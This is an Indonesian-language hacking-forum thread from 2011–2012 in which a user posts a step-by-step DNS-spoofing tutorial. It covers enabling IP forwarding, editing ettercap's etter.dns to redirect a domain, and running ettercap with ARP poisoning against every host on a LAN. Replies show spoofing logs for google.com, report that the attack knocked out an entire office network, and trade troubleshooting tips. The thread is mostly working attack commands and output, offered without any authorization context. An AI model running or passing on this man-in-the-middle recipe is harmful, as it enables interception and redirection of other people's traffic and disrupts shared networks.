(12-14-2011, 07:47 PM)biecyber Wrote:

(12-14-2011, 07:39 PM)RR12 Wrote: @om Konspirasi : yapp kyknya gitu tuh om, klo emang ARP Spoofing nya pake ettercap maka ettercap juga akan handle IP Forwardingnya...
kalo tools kyk "arpspoof" kyknya gug nge-handle ip forwarding jadi harus set manual...

kalo memang auto ip_forward pas jalanin ettercap, pas saya jalanin command

Code:

ettercap -T -q -i eth0 -P dns_spoof -M arp // //

tiba" lan 1 kantor down semua, internetan gak bisa sharing file pun gak bisa, tapi setelah saya matiin ettercapnya lan 1 kantor kembali seperti semula, apakah ini bug atau gmn ya ??? mohon pencerahan

(08-28-2011, 09:13 PM)koecroet Wrote: salam
ane mau share dns_spoof dengan ettercap nih. tp pake part boleh kan? .
oke dah no bacot

1. forward dulu

Quote:#echo 1 > /proc/sys/net/ipv4/ip_forward

untuk melihat statusnya ketik:

Quote:#cat /proc/sys/net/ipv4/ip_forward

kalo muncul angka "0" berarti blom di forward, kalo muncul angka "1" brarti udah d forward. setau ane sih gitu

2. edit file "etter.dns" untuk meracuni dns ke ip lain nih
gunakan editor text kesayangan anda. disini ane pake "nano".

Quote:#nano /usr/local/share/ettercap/etter.dns

3. lalu,
ubah nih:
dns victim ane : koecroet.web.id
yang akan forward ke ip : 117.102.253.131

Quote:################################
# microsoft sucks
# redirect it to www.linux.org
#

koecroet.web.id A 117.102.253.131
*.koecroet.web.id A 117.102.253.131
www.koecroet.web.id PTR 117.102.253.131 # Wildcards in PTR are not allowed

##########################################

jangan lupa di save

4. langkah terakhir ketik:

Quote:#ettercap -T -q -i [interfaces] -P dns_spoof -M arp // //

Quote:contoh: #ettercap -T -q -i wlan0 -P dns_spoof -M arp // //

5. udah deh jalan

hasilnya nih pas ane buka http://www.koecroet.web.id
SS:

Spoiler! :

dtunggu kritik dan sarannya

http://forum.indonesianbacktrack.or.id/showthread.php?tid=706 << #PART | 2 nya om

(05-13-2012, 12:29 AM)Backtrack Dragon Wrote: Udah di coba juga pakai google tapi hasilnya, Google tetap terbuka dan ettercap menghasilkan seperti ini
dns_spoof: [google.com] spoofed to [198.182.196.56]
dns_spoof: [www.google.com] spoofed to [198.182.196.56]
DHCP: [192.168.55.1] ACK : 192.168.55.230 255.255.255.0 GW 192.168.55.1 DNS 203.130.193.74
Mohon pencerahan

(11-08-2012, 06:40 AM)czeroo_cool Wrote: Ettercap GUI nya Backtrack kok Err0r ye..
Err0r nya waktu scan host

(11-08-2012, 06:46 AM)alkaaf Wrote:

(05-13-2012, 12:29 AM)Backtrack Dragon Wrote: Udah di coba juga pakai google tapi hasilnya, Google tetap terbuka dan ettercap menghasilkan seperti ini
dns_spoof: [google.com] spoofed to [198.182.196.56]
dns_spoof: [www.google.com] spoofed to [198.182.196.56]
DHCP: [192.168.55.1] ACK : 192.168.55.230 255.255.255.0 GW 192.168.55.1 DNS 203.130.193.74
Mohon pencerahan

google udah make ssl di pencariannya bro, agak susah buat porting agar masuk ke server kita. :d

---

(11-08-2012, 06:40 AM)czeroo_cool Wrote: Ettercap GUI nya Backtrack kok Err0r ye..
Err0r nya waktu scan host

emg gitu bro, sering buffer over flow. mnding make yg CLI bro lbh cepet.